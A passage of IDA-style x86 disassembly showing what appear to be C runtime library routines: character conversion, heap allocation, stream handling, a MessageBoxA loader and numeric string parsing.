		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4366E0, eax
		jmp	short loc_420E94
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420D58+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_4366EC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_436648
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4366F0, eax
		jns	short loc_420E77
		add	eax, 5265C00h
		dec	ecx
		mov	dword_4366F0, eax
		jmp	short loc_420E88
; ---------------------------------------------------------------------------


loc_420E77:				; CODE XREF: sub_420D58+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_420E8E
		sub	eax, edx
		inc	ecx
		mov	dword_4366F0, eax


loc_420E88:				; CODE XREF: sub_420D58+11Dj
		mov	dword_4366EC, ecx


loc_420E8E:				; CODE XREF: sub_420D58+126j
		mov	dword_4366E8, ebx


loc_420E94:				; CODE XREF: sub_420D58+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420D58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E98	proc near		; CODE XREF: sub_41D797+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_420EBB
		cmp	[ebp+arg_8], ebx
		jz	short loc_420EBB
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_420EC1
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_420EBB
		mov	[eax], bx


loc_420EBB:				; CODE XREF: sub_420E98+Cj
					; sub_420E98+11j ...
		xor	eax, eax


loc_420EBD:				; CODE XREF: sub_420E98+42j
					; sub_420E98+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420EC1:				; CODE XREF: sub_420E98+17j
		cmp	dword_4CDA48, ebx
		jnz	short loc_420EDC
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_420ED7
		movzx	ax, al
		mov	[ecx], ax


loc_420ED7:				; CODE XREF: sub_420E98+36j
					; sub_420E98+C0j
		push	1
		pop	eax
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------


loc_420EDC:				; CODE XREF: sub_420E98+2Fj
		mov	ecx, off_433C70
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420F39
		mov	eax, dword_433E7C
		cmp	eax, 1
		jle	short loc_420F20
		cmp	[ebp+arg_8], eax
		jl	short loc_420F2A
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4CDA58
		nop
		call	near ptr 2650000h
		test	eax, eax
		mov	eax, dword_433E7C
		jnz	short loc_420EBD


loc_420F20:				; CODE XREF: sub_420E98+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_420F2A
		cmp	[esi+1], bl
		jnz	short loc_420EBD


loc_420F2A:				; CODE XREF: sub_420E98+61j
					; sub_420E98+8Bj ...
		mov	dword_4CD9B4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_420EBD
; ---------------------------------------------------------------------------


loc_420F39:				; CODE XREF: sub_420E98+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4CDA58
		call	near ptr 2650000h
		nop
		test	eax, eax
		jnz	loc_420ED7
		jmp	short loc_420F2A
sub_420E98	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F60	proc near		; CODE XREF: sub_41D797+76p
					; sub_41D797+88p ...

arg_0		= dword	ptr  4

		cmp	dword_433E7C, 1
		jle	short loc_420F77
		push	8
		push	[esp+4+arg_0]
		call	sub_41A642
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_420F77:				; CODE XREF: sub_420F60+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_433C70
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_420F60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_420F90	proc near		; CODE XREF: sub_41D797+797p
					; sub_41D797+7E7p
		cmp	cl, 40h
		jnb	short loc_420FAA
		cmp	cl, 20h
		jnb	short loc_420FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_420FA0:				; CODE XREF: sub_420F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_420FAA:				; CODE XREF: sub_420F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_420F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_420FAF	proc near		; CODE XREF: sub_41E20D+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_420FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_420FCD
		test	al, 80h
		jz	short loc_420FFB
		test	al, 2
		jnz	short loc_420FFB


loc_420FCD:				; CODE XREF: sub_420FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_420FDA
		push	esi
		call	sub_41F9D8
		pop	ecx


loc_420FDA:				; CODE XREF: sub_420FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_420FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_420FFB
		inc	eax
		mov	[esi], eax


loc_420FEA:				; CODE XREF: sub_420FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_421001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_421007
		inc	eax
		mov	[esi], eax


loc_420FFB:				; CODE XREF: sub_420FAF+9j
					; sub_420FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_420FFE:				; CODE XREF: sub_420FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421001:				; CODE XREF: sub_420FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_421007:				; CODE XREF: sub_420FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_420FFE
sub_420FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42101D	proc near		; CODE XREF: ___:0041F15Ap

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_42102E
		add	esp, 0Ch
		retn
sub_42101D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42102E	proc near		; CODE XREF: sub_42101D+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4CEF01[eax], cl
		jnz	short loc_42105B
		cmp	[esp+arg_4], 0
		jz	short loc_421054
		movzx	eax, word_433C7A[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_421056
; ---------------------------------------------------------------------------


loc_421054:				; CODE XREF: sub_42102E+16j
		xor	eax, eax


loc_421056:				; CODE XREF: sub_42102E+24j
		test	eax, eax
		jnz	short loc_42105B
		retn
; ---------------------------------------------------------------------------


loc_42105B:				; CODE XREF: sub_42102E+Fj
					; sub_42102E+2Aj
		push	1
		pop	eax
		retn
sub_42102E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42105F	proc near		; CODE XREF: sub_41F885+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4CDC7C, ebx
		push	esi
		push	edi
		jnz	short loc_4210AE
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 2710771h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4210E4
		mov	esi, dword_4240DC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4CDC7C, eax
		jz	short loc_4210E4
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4CDC80, eax
		call	esi
		mov	dword_4CDC84, eax


loc_4210AE:				; CODE XREF: sub_42105F+Bj
		mov	eax, dword_4CDC80
		test	eax, eax
		jz	short loc_4210CD
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4210CD
		mov	eax, dword_4CDC84
		test	eax, eax
		jz	short loc_4210CD
		push	ebx
		call	eax
		mov	ebx, eax


loc_4210CD:				; CODE XREF: sub_42105F+56j
					; sub_42105F+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4CDC7C


loc_4210E0:				; CODE XREF: sub_42105F+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4210E4:				; CODE XREF: sub_42105F+1Cj
					; sub_42105F+33j
		xor	eax, eax
		jmp	short loc_4210E0
sub_42105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210E8	proc near		; CODE XREF: sub_41FA42+22p
					; sub_41FA42+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_421109
		test	esi, esi
		jnz	short loc_421103
		push	1
		pop	esi


loc_421103:				; CODE XREF: sub_4210E8+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_421109:				; CODE XREF: sub_4210E8+12j
					; sub_4210E8+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_421168
		mov	eax, dword_4CF028
		cmp	eax, 3
		jnz	short loc_421134
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4CF020
		ja	short loc_421153
		push	eax
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42117E
		jmp	short loc_421153
; ---------------------------------------------------------------------------


loc_421134:				; CODE XREF: sub_4210E8+30j
		cmp	eax, 2
		jnz	short loc_421153
		cmp	esi, dword_435EB4
		ja	short loc_421153
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_421192


loc_421153:				; CODE XREF: sub_4210E8+3Bj
					; sub_4210E8+4Aj ...
		push	esi
		push	8
		push	dword_4CF024
		nop
		call	near ptr 2730000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_42118C


loc_421168:				; CODE XREF: sub_4210E8+26j
		cmp	dword_4CDA14, 0
		jz	short loc_42118C
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jz	short loc_421195
		jmp	short loc_421109
; ---------------------------------------------------------------------------


loc_42117E:				; CODE XREF: sub_4210E8+48j
		push	[ebp+arg_0]


loc_421181:				; CODE XREF: sub_4210E8+ABj
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch


loc_42118C:				; CODE XREF: sub_4210E8+7Ej
					; sub_4210E8+87j
		mov	eax, edi


loc_42118E:				; CODE XREF: sub_4210E8+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421192:				; CODE XREF: sub_4210E8+69j
		push	esi
		jmp	short loc_421181
; ---------------------------------------------------------------------------


loc_421195:				; CODE XREF: sub_4210E8+92j
		xor	eax, eax
		jmp	short loc_42118E
sub_4210E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41FAE7


loc_421199:				; CODE XREF: sub_41FAE7+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4CECC0, esi
		jle	short loc_4211EC


loc_4211A8:				; CODE XREF: sub_41FAE7+1703j
		mov	eax, dword_4CDCB0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4211E3
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4211C7
		push	eax
		call	sub_417900
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4211C7
		inc	edi


loc_4211C7:				; CODE XREF: sub_41FAE7+16D1j
					; sub_41FAE7+16DDj
		cmp	esi, 14h
		jl	short loc_4211E3
		mov	eax, dword_4CDCB0
		push	dword ptr [eax+esi*4]
		call	sub_417C3B
		mov	eax, dword_4CDCB0
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4211E3:				; CODE XREF: sub_41FAE7+16CBj
					; sub_41FAE7+16E3j
		inc	esi
		cmp	esi, dword_4CECC0
		jl	short loc_4211A8


loc_4211EC:				; CODE XREF: sub_41FAE7+16BFj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41FAE7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4211F1	proc near		; CODE XREF: sub_41FEC6+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_417B30
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4CEDE0
		jnb	loc_421326
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_421326
		push	1
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_421330
		push	2
		push	esi
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_421330
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212D3
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_417330
		push	8000h
		push	ebx
		call	sub_421E2B
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_421287:				; CODE XREF: sub_4211F1+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_421292
		mov	eax, edi


loc_421292:				; CODE XREF: sub_4211F1+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4212B0
		sub	edi, eax
		test	edi, edi
		jle	short loc_4212C6
		jmp	short loc_421287
; ---------------------------------------------------------------------------


loc_4212B0:				; CODE XREF: sub_4211F1+B5j
		cmp	dword_4CD9B8, 5
		jnz	short loc_4212C3
		mov	dword_4CD9B4, 0Dh


loc_4212C3:				; CODE XREF: sub_4211F1+C6j
		or	esi, 0FFFFFFFFh


loc_4212C6:				; CODE XREF: sub_4211F1+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_421E2B
		pop	ecx
		pop	ecx
		jmp	short loc_421313
; ---------------------------------------------------------------------------


loc_4212D3:				; CODE XREF: sub_4211F1+71j
		jge	short loc_421313
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41E517
		push	ebx
		call	sub_41FE32
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25F0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421313
		mov	dword_4CD9B4, 0Dh
		nop
		call	near ptr 2670ADCh
		mov	dword_4CD9B8, eax


loc_421313:				; CODE XREF: sub_4211F1+E0j
					; sub_4211F1:loc_4212D3j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E517
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_421333
; ---------------------------------------------------------------------------


loc_421326:				; CODE XREF: sub_4211F1+1Aj
					; sub_4211F1+36j
		mov	dword_4CD9B4, 9


loc_421330:				; CODE XREF: sub_4211F1+4Ej
					; sub_4211F1+63j
		or	eax, 0FFFFFFFFh


loc_421333:				; CODE XREF: sub_4211F1+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4211F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_421337	proc near		; CODE XREF: sub_420331+2Bp
					; sub_420331+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_42134D
		cmp	ecx, esi
		jnb	short loc_421350


loc_42134D:				; CODE XREF: sub_421337+10j
		push	1
		pop	eax


loc_421350:				; CODE XREF: sub_421337+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_421337	endp


; =============== S U B	R O U T	I N E =======================================



sub_421358	proc near		; CODE XREF: sub_421411+40p
					; sub_421411+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42138A
		inc	dword ptr [esi+8]


loc_42138A:				; CODE XREF: sub_421358+19j
					; sub_421358+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4213A2
		inc	dword ptr [esi+8]


loc_4213A2:				; CODE XREF: sub_421358+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_421337
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_421358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213B6	proc near		; CODE XREF: sub_421411+30p
					; sub_421411+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4213B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213E4	proc near		; CODE XREF: sub_4219A9+1C8p
					; sub_421EA1+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4213E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421411	proc near		; CODE XREF: sub_4214D8+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_421485
		push	edi
		mov	[ebp+arg_8], eax


loc_421438:				; CODE XREF: sub_421411+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4213B6
		push	ebx
		call	sub_4213B6
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		push	ebx
		call	sub_4213B6
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_421358
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_421438
		xor	edx, edx
		pop	edi


loc_421485:				; CODE XREF: sub_421411+21j
					; sub_421411+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4214B2
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_421485
; ---------------------------------------------------------------------------


loc_4214B2:				; CODE XREF: sub_421411+77j
		mov	esi, 8000h


loc_4214B7:				; CODE XREF: sub_421411+B9j
		test	[ebx+8], esi
		jnz	short loc_4214CC
		push	ebx
		call	sub_4213B6
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4214B7
; ---------------------------------------------------------------------------


loc_4214CC:				; CODE XREF: sub_421411+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_421411	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214D8	proc near		; CODE XREF: sub_42067A+17p
					; sub_4206A7+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_421513:				; CODE XREF: sub_4214D8+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_421529
		cmp	cl, 9
		jz	short loc_421529
		cmp	cl, 0Ah
		jz	short loc_421529
		cmp	cl, 0Dh
		jnz	short loc_42152C


loc_421529:				; CODE XREF: sub_4214D8+40j
					; sub_4214D8+45j ...
		inc	edi
		jmp	short loc_421513
; ---------------------------------------------------------------------------


loc_42152C:				; CODE XREF: sub_4214D8+4Fj
		push	4
		pop	esi


loc_42152F:				; CODE XREF: sub_4214D8+AEj
					; sub_4214D8+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4217B2	; default
					; jumptable 0042153B case 10
		jmp	off_421979[eax*4] ; switch jump


loc_421542:				; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 0
		jl	short loc_421553
		cmp	bl, 39h
		jg	short loc_421553


loc_42154C:				; CODE XREF: sub_4214D8+C4j
					; sub_4214D8+118j
		push	3
		jmp	loc_421770
; ---------------------------------------------------------------------------


loc_421553:				; CODE XREF: sub_4214D8+6Dj
					; sub_4214D8+72j
		cmp	bl, byte_433E80
		jnz	short loc_421562


loc_42155B:				; CODE XREF: sub_4214D8+124j
		push	5
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_421562:				; CODE XREF: sub_4214D8+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_421588
		dec	eax
		dec	eax
		jz	short loc_42157C
		sub	eax, 3
		jnz	loc_42184B
		jmp	loc_42160B
; ---------------------------------------------------------------------------


loc_42157C:				; CODE XREF: sub_4214D8+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------


loc_421588:				; CODE XREF: sub_4214D8+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_42152F
; ---------------------------------------------------------------------------


loc_421591:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 1
		mov	[ebp+var_10], edx
		jl	short loc_42159E
		cmp	bl, 39h
		jle	short loc_42154C


loc_42159E:				; CODE XREF: sub_4214D8+BFj
		cmp	bl, byte_433E80
		jz	loc_421666
		cmp	bl, 2Bh
		jz	short loc_4215E0
		cmp	bl, 2Dh
		jz	short loc_4215E0
		cmp	bl, 30h
		jz	short loc_42160B


loc_4215B9:				; CODE XREF: sub_4214D8+207j
		cmp	bl, 43h
		jle	loc_42184B
		cmp	bl, 45h
		jle	short loc_4215D9
		cmp	bl, 63h
		jle	loc_42184B
		cmp	bl, 65h
		jg	loc_42184B


loc_4215D9:				; CODE XREF: sub_4214D8+EDj
		push	6
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_4215E0:				; CODE XREF: sub_4214D8+D5j
					; sub_4214D8+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4217A8
; ---------------------------------------------------------------------------


loc_4215E8:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	bl, 31h		; jumptable 0042153B case 2
		jl	short loc_4215F6
		cmp	bl, 39h
		jle	loc_42154C


loc_4215F6:				; CODE XREF: sub_4214D8+113j
		cmp	bl, byte_433E80
		jz	loc_42155B
		cmp	bl, 30h
		jnz	loc_4217C0


loc_42160B:				; CODE XREF: sub_4214D8+9Fj
					; sub_4214D8+DFj
		mov	eax, edx
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_421612:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		mov	[ebp+var_10], edx ; jumptable 0042153B case 3


loc_421615:				; CODE XREF: sub_4214D8+184j
		cmp	dword_433E7C, edx
		jle	short loc_42162E
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_42163C
; ---------------------------------------------------------------------------


loc_42162E:				; CODE XREF: sub_4214D8+143j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_42163C:				; CODE XREF: sub_4214D8+154j
		test	eax, eax
		jz	short loc_42165E
		cmp	[ebp+var_4], 19h
		jnb	short loc_421656
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_421659
; ---------------------------------------------------------------------------


loc_421656:				; CODE XREF: sub_4214D8+16Cj
		inc	[ebp+var_8]


loc_421659:				; CODE XREF: sub_4214D8+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421615
; ---------------------------------------------------------------------------


loc_42165E:				; CODE XREF: sub_4214D8+166j
		cmp	bl, byte_433E80
		jnz	short loc_4216CD


loc_421666:				; CODE XREF: sub_4214D8+CCj
		mov	eax, esi
		jmp	loc_42152F
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: sub_4214D8+63j
					; DATA XREF: ___:off_421979o
		cmp	[ebp+var_4], 0	; jumptable 0042153B case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_421686


loc_421679:				; CODE XREF: sub_4214D8+1ACj
		cmp	bl, 30h
		jnz	short loc_421686
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_421679
; ---------------------------------------------------------------------------


loc_421686:				; CODE XREF: sub_4214D8+19Fj
					; sub_4214D8+1A4j ...
		cmp	dword_433E7C, edx
		jle	short loc_42169F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4216AD
; ---------------------------------------------------------------------------


